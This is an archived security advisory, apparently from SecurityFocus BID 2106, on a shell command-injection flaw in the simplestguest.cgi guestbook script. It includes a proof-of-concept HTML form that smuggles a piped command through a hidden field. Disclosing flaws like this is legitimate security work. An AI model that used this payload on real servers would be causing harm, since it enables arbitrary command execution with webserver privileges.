15 lines
No EOL
983 B
HTML
15 lines
No EOL
983 B
HTML
source: http://www.securityfocus.com/bid/2106/info
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A vulnerabiliy exists in Leif M. Wright's simplestguest.cgi, a script designed to coordinate guestbook submissions from website visitors.
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An insecure call to the open() function leads to a failure to properly filter shell metacharacters from user supplied input. As a result, it is possible for an attacker to cause this script to execute arbitrary shell commands with the privileges of the webserver.
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Make a html form similar to:
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<form action=/cgi-bin/simplestguest.cgi method=POST>
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                 <input type=hidden name=required value="NAME">
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                 <input type=hidden name=guestbook
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                value=" | <COMMAND> |">
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                 <input type=hidden name="NAME" value="user">
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                 <input type=submit>
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</form> |